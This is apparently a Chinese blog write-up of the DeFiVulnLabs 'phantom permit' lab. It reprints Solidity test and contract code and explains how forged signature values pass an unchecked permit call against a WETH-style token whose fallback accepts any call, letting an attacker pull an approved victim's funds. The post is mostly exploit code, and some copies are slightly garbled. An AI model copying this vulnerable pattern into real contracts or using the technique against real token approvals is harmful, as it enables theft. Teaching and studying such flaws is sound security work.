新增了一个实验,现在DefiVlunLabs存在48个实验
fallback
函数 -> 而这个 fallback
恰好是不回滚的https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/phantom-permit.sol
代码解析:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ContractTest is Test {
VulnPermit VulnPermitContract;
WETH9 WETH9Contract;
function setUp() public {
WETH9Contract = new WETH9();
VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));
}
function testVulnPhantomPermit() public {
address alice = vm.addr(1);
vm.deal(address(alice), 10 ether);
vm.startPrank(alice);
WETH9Contract.deposit{value: 10 ether}();
WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);
vm.stopPrank();
console.log(
"start WETH balanceOf this",
WETH9Contract.balanceOf(address(this))
);
VulnPermitContract.depositWithPermit(
address(alice),
1000,
27,
0x0,
0x0
);
uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));
console.log("WETH balanceOf VulnPermitContract", wbal);
VulnPermitContract.withdraw(1000);
wbal = WETH9Contract.balanceOf(address(this));
console.log("WETH9Contract balanceOf this", wbal);
}
receive() external payable {}
}
contract VulnPermit {
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) public {
require(
token.transferFrom(msg.sender, address(this), amount),
"Transfer failed"
);
}
function depositWithPermit(
address target,
uint256 amount,
uint8 v,
bytes32 r,
bytes32 s
) public {
(bool success, ) = address(token).call(
abi.encodeWithSignature(
"permit(address,uint256,uint8,bytes32,bytes32)",
target,
amount,
v,
r,
s
)
);
require(success, "Permit failed");
require(
token.transferFrom(target, address(this), amount),
"Transfer failed"
);
}
function withdraw(uint256 amount) public {
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
// contract Permit {
// IERC20 public token;
// constructor(IERC20 _token) {
// token = _token;
// }
// function deposit(uint256 amount) public {
// require(
// token.transferFrom(msg.sender, address(this), amount),
// "Transfer failed"
// );
// }
// function depositWithPermit(
// address target,
// uint256 amount,
// uint8 v,
// bytes32 r,
// bytes32 s
// ) public {
// (bool success, ) = address(token).call(
// abi.encodeWithSignature(
// "permit(address,uint256,uint8,bytes32,bytes32)",
// target,
// amount,
// v,
// r,
// s
// )
// );
// require(success, "Permit failed");
// require(
// token.transferFrom(target, address(this), amount),
// "Transfer failed"
// );
// }
// function withdraw(uint256 amount) public {
// require(token.transfer(msg.sender, amount), "Transfer failed");
// }
// }
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
eventApproval(address indexed src, address indexed guy, uint wad);
eventTransfer(address indexed src, address indexed dst, uint wad);
eventDeposit(address indexed dst, uint wad);
eventWithdrawal(address indexed src, uint wad);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
fallback() external payable {
deposit();
}
receive() external payable {}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) publicreturns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) publicreturns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (
src != msg.sender && allowance[src][msg.sender] != type(uint128).max
) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
上述主要漏洞组成代码为 WETH9合约和VulnPermit合约
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
eventApproval(address indexed src, address indexed guy, uint wad);
eventTransfer(address indexed src, address indexed dst, uint wad);
eventDeposit(address indexed dst, uint wad);
eventWithdrawal(address indexed src, uint wad);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
fallback() external payable {
deposit();
}
receive() external payable {}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) publicreturns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) publicreturns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (
src != msg.sender && allowance[src][msg.sender] != type(uint128).max
) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
肢解上述代码:
fallback() external payable {
deposit();
}
而且WETH9里没有实现permit函数
VulnPermit合约是漏洞存在的核心
主要存在的漏洞的方法是depositWithPermit,可以看到这里主要的校验就是 (bool success, ) = address(token).call和require(success,"permit failed")
通过检查后,然后就调用了token.transferFrom(target, address(this), amount)函数
contract VulnPermit {
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) public {
require(
token.transferFrom(msg.sender, address(this), amount),
"Transfer failed"
);
}
function depositWithPermit(
address target,
uint256 amount,
uint8 v,
bytes32 r,
bytes32 s
) public {
(bool success, ) = address(token).call(
abi.encodeWithSignature(
"permit(address,uint256,uint8,bytes32,bytes32)",
target,
amount,
v,
r,
s
)
);
require(success, "Permit failed");
require(
token.transferFrom(target, address(this), amount),
"Transfer failed"
);
}
function withdraw(uint256 amount) public {
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
contract ContractTest is Test {
VulnPermit VulnPermitContract;
WETH9 WETH9Contract;
function setUp() public {
WETH9Contract = new WETH9();
VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));
}
function testVulnPhantomPermit() public {
address alice = vm.addr(1);
vm.deal(address(alice), 10 ether);
vm.startPrank(alice);
WETH9Contract.deposit{value: 10 ether}();
WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);
vm.stopPrank();
console.log(
"start WETH balanceOf this",
WETH9Contract.balanceOf(address(this))
);
VulnPermitContract.depositWithPermit(
address(alice),
1000,
27,
0x0,
0x0
);
uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));
console.log("WETH balanceOf VulnPermitContract", wbal);
VulnPermitContract.withdraw(1000);
wbal = WETH9Contract.balanceOf(address(this));
console.log("WETH9Contract balanceOf this", wbal);
}
receive() external payable {}
}
address alice = vm.addr(1); // 创建测试账户
Alicevm.deal(address(alice), 10 ether); // 给Alice充值10
ETHvm.startPrank(alice); // 切换至Alice操作
WETH9Contract.deposit{value: 10 ether}(); // Alice存入ETH换取
WETHWETH9Contract.approve(
address(VulnPermitContract),
type(uint256).max); // 批准VulnPermit无限转账
vm.stopPrank();
VulnPermitContract.depositWithPermit(
address(alice), // 指定受害者为Alice
1000, // 转移金额 (1000 wei)
27, // 伪造的v值 (27无效但会被接受)
0x0, // 伪造的r值
0x0 // 伪造的s值);
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...